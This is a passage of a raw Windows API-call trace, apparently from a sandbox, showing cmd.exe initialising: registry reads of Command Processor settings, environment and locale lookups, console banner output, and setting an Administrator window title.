__alignment1=0xffffb78a, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0046.137] VirtualQuery (in: lpAddress=0x14d3c01000, lpBuffer=0x14d3cff770, dwLength=0x30 | out: lpBuffer=0x14d3cff770*(BaseAddress=0x14d3c01000, AllocationBase=0x14d3c00000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0046.137] VirtualQuery (in: lpAddress=0x14d3c04000, lpBuffer=0x14d3cff770, dwLength=0x30 | out: lpBuffer=0x14d3cff770*(BaseAddress=0x14d3c04000, AllocationBase=0x14d3c00000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0046.137] VirtualQuery (in: lpAddress=0x14d3d00000, lpBuffer=0x14d3cff770, dwLength=0x30 | out: lpBuffer=0x14d3cff770*(BaseAddress=0x14d3d00000, AllocationBase=0x14d3d00000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0046.137] GetConsoleOutputCP () returned 0x1b5 [0046.165] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7ba02fbb0 | out: lpCPInfo=0x7ff7ba02fbb0) returned 1 [0046.165] SetConsoleCtrlHandler (HandlerRoutine=0x7ff7ba018150, Add=1) returned 1 [0046.165] _get_osfhandle (_FileHandle=1) returned 0x288 [0046.165] GetConsoleMode (in: hConsoleHandle=0x288, lpMode=0x7ff7ba02fc04 | out: lpMode=0x7ff7ba02fc04) returned 0 [0046.165] _get_osfhandle (_FileHandle=0) returned 0x27c [0046.166] GetConsoleMode (in: hConsoleHandle=0x27c, lpMode=0x7ff7ba02fc00 | out: lpMode=0x7ff7ba02fc00) returned 0 [0046.166] _get_osfhandle (_FileHandle=1) returned 0x288 [0046.166] SetConsoleMode (hConsoleHandle=0x288, dwMode=0x0) returned 0 [0046.166] _get_osfhandle (_FileHandle=1) returned 0x288 [0046.166] GetConsoleMode (in: hConsoleHandle=0x288, lpMode=0x7ff7ba02fc08 | out: lpMode=0x7ff7ba02fc08) returned 0 [0046.166] _get_osfhandle (_FileHandle=0) returned 0x27c [0046.166] GetConsoleMode (in: hConsoleHandle=0x27c, lpMode=0x7ff7ba02fc0c | out: lpMode=0x7ff7ba02fc0c) returned 0 [0046.166] GetEnvironmentStringsW () returned 0x1a2483b5a10* [0046.166] GetProcessHeap () returned 0x1a2483b0000 [0046.166] RtlAllocateHeap (HeapHandle=0x1a2483b0000, Flags=0x8, Size=0xa7c) returned 0x1a2483b64a0 [0046.166] FreeEnvironmentStringsA (penv="A") returned 1 [0046.166] GetProcessHeap () returned 0x1a2483b0000 [0046.166] RtlAllocateHeap (HeapHandle=0x1a2483b0000, Flags=0x8, Size=0x8) returned 0x1a2483b6f30 [0046.166] GetEnvironmentStringsW () returned 0x1a2483b5a10* [0046.166] GetProcessHeap () returned 0x1a2483b0000 [0046.166] RtlAllocateHeap (HeapHandle=0x1a2483b0000, Flags=0x8, Size=0xa7c) returned 0x1a2483b6f50 [0046.166] FreeEnvironmentStringsA (penv="A") returned 1 [0046.166] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x14d3cfe6b8 | out: phkResult=0x14d3cfe6b8*=0x7c) returned 0x0 [0046.167] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x14d3cfe6b0, lpData=0x14d3cfe6d0, lpcbData=0x14d3cfe6b4*=0x1000 | out: lpType=0x14d3cfe6b0*=0x0, lpData=0x14d3cfe6d0*=0x4, lpcbData=0x14d3cfe6b4*=0x1000) returned 0x2 [0046.167] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x14d3cfe6b0, lpData=0x14d3cfe6d0, lpcbData=0x14d3cfe6b4*=0x1000 | out: lpType=0x14d3cfe6b0*=0x4, lpData=0x14d3cfe6d0*=0x1, lpcbData=0x14d3cfe6b4*=0x4) returned 0x0 [0046.167] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x14d3cfe6b0, lpData=0x14d3cfe6d0, lpcbData=0x14d3cfe6b4*=0x1000 | out: lpType=0x14d3cfe6b0*=0x0, lpData=0x14d3cfe6d0*=0x1, lpcbData=0x14d3cfe6b4*=0x1000) returned 0x2 [0046.167] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x14d3cfe6b0, lpData=0x14d3cfe6d0, lpcbData=0x14d3cfe6b4*=0x1000 | out: lpType=0x14d3cfe6b0*=0x4, lpData=0x14d3cfe6d0*=0x0, lpcbData=0x14d3cfe6b4*=0x4) returned 0x0 [0046.167] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x14d3cfe6b0, lpData=0x14d3cfe6d0, lpcbData=0x14d3cfe6b4*=0x1000 | out: lpType=0x14d3cfe6b0*=0x4, lpData=0x14d3cfe6d0*=0x40, lpcbData=0x14d3cfe6b4*=0x4) returned 0x0 [0046.167] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x14d3cfe6b0, lpData=0x14d3cfe6d0, lpcbData=0x14d3cfe6b4*=0x1000 | out: lpType=0x14d3cfe6b0*=0x4, lpData=0x14d3cfe6d0*=0x40, lpcbData=0x14d3cfe6b4*=0x4) returned 0x0 [0046.167] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x14d3cfe6b0, lpData=0x14d3cfe6d0, lpcbData=0x14d3cfe6b4*=0x1000 | out: lpType=0x14d3cfe6b0*=0x0, lpData=0x14d3cfe6d0*=0x40, lpcbData=0x14d3cfe6b4*=0x1000) returned 0x2 [0046.167] RegCloseKey (hKey=0x7c) returned 0x0 [0046.167] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x14d3cfe6b8 | out: phkResult=0x14d3cfe6b8*=0x7c) returned 0x0 [0046.167] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x14d3cfe6b0, lpData=0x14d3cfe6d0, lpcbData=0x14d3cfe6b4*=0x1000 | out: lpType=0x14d3cfe6b0*=0x0, lpData=0x14d3cfe6d0*=0x40, lpcbData=0x14d3cfe6b4*=0x1000) returned 0x2 [0046.167] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x14d3cfe6b0, lpData=0x14d3cfe6d0, lpcbData=0x14d3cfe6b4*=0x1000 | out: lpType=0x14d3cfe6b0*=0x4, lpData=0x14d3cfe6d0*=0x1, lpcbData=0x14d3cfe6b4*=0x4) returned 0x0 [0046.167] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x14d3cfe6b0, lpData=0x14d3cfe6d0, lpcbData=0x14d3cfe6b4*=0x1000 | out: lpType=0x14d3cfe6b0*=0x0, lpData=0x14d3cfe6d0*=0x1, lpcbData=0x14d3cfe6b4*=0x1000) returned 0x2 [0046.167] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x14d3cfe6b0, lpData=0x14d3cfe6d0, lpcbData=0x14d3cfe6b4*=0x1000 | out: lpType=0x14d3cfe6b0*=0x4, lpData=0x14d3cfe6d0*=0x0, lpcbData=0x14d3cfe6b4*=0x4) returned 0x0 [0046.167] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x14d3cfe6b0, lpData=0x14d3cfe6d0, lpcbData=0x14d3cfe6b4*=0x1000 | out: lpType=0x14d3cfe6b0*=0x4, lpData=0x14d3cfe6d0*=0x9, lpcbData=0x14d3cfe6b4*=0x4) returned 0x0 [0046.167] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x14d3cfe6b0, lpData=0x14d3cfe6d0, lpcbData=0x14d3cfe6b4*=0x1000 | out: lpType=0x14d3cfe6b0*=0x4, lpData=0x14d3cfe6d0*=0x9, lpcbData=0x14d3cfe6b4*=0x4) returned 0x0 [0046.167] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x14d3cfe6b0, lpData=0x14d3cfe6d0, lpcbData=0x14d3cfe6b4*=0x1000 | out: lpType=0x14d3cfe6b0*=0x0, lpData=0x14d3cfe6d0*=0x9, lpcbData=0x14d3cfe6b4*=0x1000) returned 0x2 [0046.167] RegCloseKey (hKey=0x7c) returned 0x0 [0046.167] time (in: timer=0x0 | out: timer=0x0) returned 0x5cdd21d9 [0046.167] srand (_Seed=0x5cdd21d9) [0046.167] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0046.167] malloc (_Size=0x4000) returned 0x1a2485a54f0 [0046.168] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0046.168] malloc (_Size=0xffce) returned 0x1a2485b0080 [0046.168] ??_V@YAXPEAX@Z () returned 0x1a2485b0080 [0046.169] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1a2485b0080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0046.169] malloc (_Size=0xffce) returned 0x1a2485c0060 [0046.169] ??_V@YAXPEAX@Z () returned 0x1a2485c0060 [0046.170] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1a2485c0060, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0046.170] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff7ba02bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0046.170] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff7ba02bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0046.170] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff7ba02bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0046.170] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0046.170] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0046.170] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0046.170] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0046.170] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0046.170] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0046.170] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0046.170] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0046.170] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0046.170] GetProcessHeap () returned 0x1a2483b0000 [0046.170] RtlFreeHeap (HeapHandle=0x1a2483b0000, Flags=0x0, BaseAddress=0x1a2483b64a0) returned 1 [0046.170] GetEnvironmentStringsW () returned 0x1a2483b5a10* [0046.170] GetProcessHeap () returned 0x1a2483b0000 [0046.170] RtlAllocateHeap (HeapHandle=0x1a2483b0000, Flags=0x8, Size=0xa94) returned 0x1a2483b7a10 [0046.171] FreeEnvironmentStringsA (penv="A") returned 1 [0046.171] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff7ba02bb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0046.171] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff7ba02bb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0046.171] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0046.171] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0046.171] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0046.171] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0046.171] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0046.171] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0046.171] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0046.171] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0046.171] malloc (_Size=0xffce) returned 0x1a2485d0040 [0046.171] ??_V@YAXPEAX@Z () returned 0x1a2485d0040 [0046.172] GetProcessHeap () returned 0x1a2483b0000 [0046.172] RtlAllocateHeap (HeapHandle=0x1a2483b0000, Flags=0x8, Size=0x40) returned 0x1a2483b84b0 [0046.172] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1a2485d0040 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0046.172] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, lpBuffer=0x1a2485d0040, lpFilePart=0x14d3cff230 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x14d3cff230*="Desktop") returned 0x17 [0046.173] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0046.173] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x14d3cfef60 | out: lpFindFileData=0x14d3cfef60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x1a2483b8500 [0046.173] FindClose (in: hFindFile=0x1a2483b8500 | out: hFindFile=0x1a2483b8500) returned 1 [0046.173] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0x14d3cfef60 | out: lpFindFileData=0x14d3cfef60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD1HVy", cAlternateFileName="")) returned 0x1a2483b8500 [0046.173] FindClose (in: hFindFile=0x1a2483b8500 | out: hFindFile=0x1a2483b8500) returned 1 [0046.173] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0x14d3cfef60 | out: lpFindFileData=0x14d3cfef60*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xdbe9f708, ftLastAccessTime.dwHighDateTime=0x1d50bc2, ftLastWriteTime.dwLowDateTime=0xdbe9f708, ftLastWriteTime.dwHighDateTime=0x1d50bc2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x1a2483b8500 [0046.173] FindClose (in: hFindFile=0x1a2483b8500 | out: hFindFile=0x1a2483b8500) returned 1 [0046.173] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11 [0046.174] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1 [0046.174] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1 [0046.174] GetProcessHeap () returned 0x1a2483b0000 [0046.174] RtlFreeHeap (HeapHandle=0x1a2483b0000, Flags=0x0, BaseAddress=0x1a2483b7a10) returned 1 [0046.174] GetEnvironmentStringsW () returned 0x1a2483b0fc0* [0046.174] GetProcessHeap () returned 0x1a2483b0000 [0046.174] RtlAllocateHeap (HeapHandle=0x1a2483b0000, Flags=0x8, Size=0xacc) returned 0x1a2483b8500 [0046.174] FreeEnvironmentStringsA (penv="=") returned 1 [0046.174] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1a2485b0080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0046.174] GetProcessHeap () returned 0x1a2483b0000 [0046.174] RtlFreeHeap (HeapHandle=0x1a2483b0000, Flags=0x0, BaseAddress=0x1a2483b84b0) returned 1 [0046.174] ??_V@YAXPEAX@Z () returned 0x1 [0046.174] ??_V@YAXPEAX@Z () returned 0x1 [0046.174] GetProcessHeap () returned 0x1a2483b0000 [0046.174] RtlAllocateHeap (HeapHandle=0x1a2483b0000, Flags=0x8, Size=0x4016) returned 0x1a2483b8fe0 [0046.175] GetProcessHeap () returned 0x1a2483b0000 [0046.175] RtlFreeHeap (HeapHandle=0x1a2483b0000, Flags=0x0, BaseAddress=0x1a2483b8fe0) returned 1 [0046.175] GetConsoleOutputCP () returned 0x1b5 [0046.188] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7ba02fbb0 | out: lpCPInfo=0x7ff7ba02fbb0) returned 1 [0046.188] GetUserDefaultLCID () returned 0x409 [0046.188] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff7ba02bb78, cchData=8 | out: lpLCData=":") returned 2 [0046.188] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x14d3cff5f0, cchData=128 | out: lpLCData="0") returned 2 [0046.188] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x14d3cff5f0, cchData=128 | out: lpLCData="0") returned 2 [0046.188] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x14d3cff5f0, cchData=128 | out: lpLCData="1") returned 2 [0046.188] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff7ba02bb68, cchData=8 | out: lpLCData="/") returned 2 [0046.188] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff7ba02bb00, cchData=32 | out: lpLCData="Mon") returned 4 [0046.188] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff7ba02bac0, cchData=32 | out: lpLCData="Tue") returned 4 [0046.188] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff7ba02ba80, cchData=32 | out: lpLCData="Wed") returned 4 [0046.188] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff7ba02ba40, cchData=32 | out: lpLCData="Thu") returned 4 [0046.189] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff7ba02ba00, cchData=32 | out: lpLCData="Fri") returned 4 [0046.189] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff7ba02b9c0, cchData=32 | out: lpLCData="Sat") returned 4 [0046.189] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff7ba02b980, cchData=32 | out: lpLCData="Sun") returned 4 [0046.189] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff7ba02bb58, cchData=8 | out: lpLCData=".") returned 2 [0046.189] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff7ba02bb40, cchData=8 | out: lpLCData=",") returned 2 [0046.189] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0046.190] GetProcessHeap () returned 0x1a2483b0000 [0046.190] RtlAllocateHeap (HeapHandle=0x1a2483b0000, Flags=0x0, Size=0x20c) returned 0x1a2483b6560 [0046.191] GetConsoleTitleW (in: lpConsoleTitle=0x1a2483b6560, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0046.192] _get_osfhandle (_FileHandle=1) returned 0x288 [0046.192] GetFileType (hFile=0x288) returned 0x3 [0046.206] ApiSetQueryApiSetPresence () returned 0x0 [0046.207] ResolveDelayLoadedAPI () returned 0x7ff929acd990 [0046.310] BrandingFormatString () returned 0x1a2483b1850 [0046.373] GetVersion () returned 0x3ad7000a [0046.373] _vsnwprintf (in: _Buffer=0x14d3cff750, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x14d3cff6e8 | out: _Buffer="10.0.15063") returned 10 [0046.373] _get_osfhandle (_FileHandle=1) returned 0x288 [0046.373] GetFileType (hFile=0x288) returned 0x3 [0046.373] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff7ba037f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0046.374] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff7ba037f60, nSize=0x2000, Arguments=0x14d3cff6f0 | out: lpBuffer="Microsoft Windows [Version 10.0.15063]") returned 0x26 [0046.374] _get_osfhandle (_FileHandle=1) returned 0x288 [0046.374] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 10.0.15063]", cchWideChar=-1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 10.0.15063]", lpUsedDefaultChar=0x0) returned 39 [0046.374] WriteFile (in: hFile=0x288, lpBuffer=0x7ff7ba029970*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x14d3cff648, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesWritten=0x14d3cff648*=0x26, lpOverlapped=0x0) returned 1 [0046.374] _vsnwprintf (in: _Buffer=0x7ff7ba037f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14d3cff718 | out: _Buffer="\r\n") returned 2 [0046.374] _get_osfhandle (_FileHandle=1) returned 0x288 [0046.374] GetFileType (hFile=0x288) returned 0x3 [0046.374] _get_osfhandle (_FileHandle=1) returned 0x288 [0046.374] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0046.374] WriteFile (in: hFile=0x288, lpBuffer=0x7ff7ba029970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14d3cff6e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesWritten=0x14d3cff6e8*=0x2, lpOverlapped=0x0) returned 1 [0046.374] _vsnwprintf (in: _Buffer=0x7ff7ba037f60, _BufferCount=0x1fff, _Format="%s", _ArgList=0x14d3cff718 | out: _Buffer="(c) 2017 Microsoft Corporation. All rights reserved.") returned 52 [0046.374] _get_osfhandle (_FileHandle=1) returned 0x288 [0046.374] GetFileType (hFile=0x288) returned 0x3 [0046.374] _get_osfhandle (_FileHandle=1) returned 0x288 [0046.374] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(c) 2017 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(c) 2017 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 53 [0046.374] WriteFile (in: hFile=0x288, lpBuffer=0x7ff7ba029970*, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0x14d3cff6e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesWritten=0x14d3cff6e8*=0x34, lpOverlapped=0x0) returned 1 [0046.374] _vsnwprintf (in: _Buffer=0x7ff7ba037f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14d3cff718 | out: _Buffer="\r\n") returned 2 [0046.374] _get_osfhandle (_FileHandle=1) returned 0x288 [0046.374] GetFileType (hFile=0x288) returned 0x3 [0046.374] _get_osfhandle (_FileHandle=1) returned 0x288 [0046.374] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0046.374] WriteFile (in: hFile=0x288, lpBuffer=0x7ff7ba029970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14d3cff6e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, lpNumberOfBytesWritten=0x14d3cff6e8*=0x2, lpOverlapped=0x0) returned 1 [0046.375] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff92fdd0000 [0046.375] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="CopyFileExW") returned 0x7ff92fdee830 [0046.375] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="IsDebuggerPresent") returned 0x7ff92fdee300 [0046.375] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="SetConsoleInputExeNameW") returned 0x7ff92f1b0a40 [0046.375] ??_V@YAXPEAX@Z () returned 0x1 [0046.375] _get_osfhandle (_FileHandle=0) returned 0x27c [0046.375] GetFileType (hFile=0x27c) returned 0x3 [0046.375] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0046.375] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x14d3cff558 | out: TokenHandle=0x14d3cff558*=0x0) returned 0xc000007c [0046.375] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x14d3cff558 | out: TokenHandle=0x14d3cff558*=0x94) returned 0x0 [0046.375] NtQueryInformationToken (in: TokenHandle=0x94, TokenInformationClass=0x12, TokenInformation=0x14d3cff508, TokenInformationLength=0x4, ReturnLength=0x14d3cff510 | out: TokenInformation=0x14d3cff508, ReturnLength=0x14d3cff510) returned 0x0 [0046.375] NtQueryInformationToken (in: TokenHandle=0x94, TokenInformationClass=0x1a, TokenInformation=0x14d3cff510, TokenInformationLength=0x4, ReturnLength=0x14d3cff508 | out: TokenInformation=0x14d3cff510, ReturnLength=0x14d3cff508) returned 0x0 [0046.375] NtClose (Handle=0x94) returned 0x0 [0046.375] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0x14d3cff520, nSize=0x0, Arguments=0x14d3cff528 | out: lpBuffer="\x8320\x483b\x1a2") returned 0xf [0046.376] GetProcessHeap () returned 0x1a2483b0000 [0046.376] RtlAllocateHeap (HeapHandle=0x1a2483b0000, Flags=0x8, Size=0x218) returned 0x1a2483b6c30 [0046.808] GetConsoleTitleW (in: lpConsoleTitle=0x14d3cff570, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0046.929] wcsstr (_Str="C:\\WINDOWS\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0 [0046.929] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0047.227] GetProcessHeap () returned 0x1a2483b0000 [0047.227] RtlFreeHeap (HeapHandle=0x1a2483b0000, Flags=0x0, BaseAddress=0x1a2483b6c30) returned 1 [0047.227] LocalFree (hMem=0x1a2483b8320) returned 0x0 [0047.228] _vsnwprintf (in: _Buffer=0x7ff7ba037f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14d3cff398 | out: _Buffer="\r\n") returned 2 [0047.228] _get_osfhandle (_FileHandle=1) returned 0x288 [0047.228] GetFileType (hFile=0x288) returned 0x3 [0047.228] _get_osfhandle (_FileHandle=1) returned 0x288 [0047.228] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff7ba029970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0047.228] WriteFile (in: hFile=0x288, lpBuffer=0x7ff7ba029970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14d3cff368, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ba029970*, 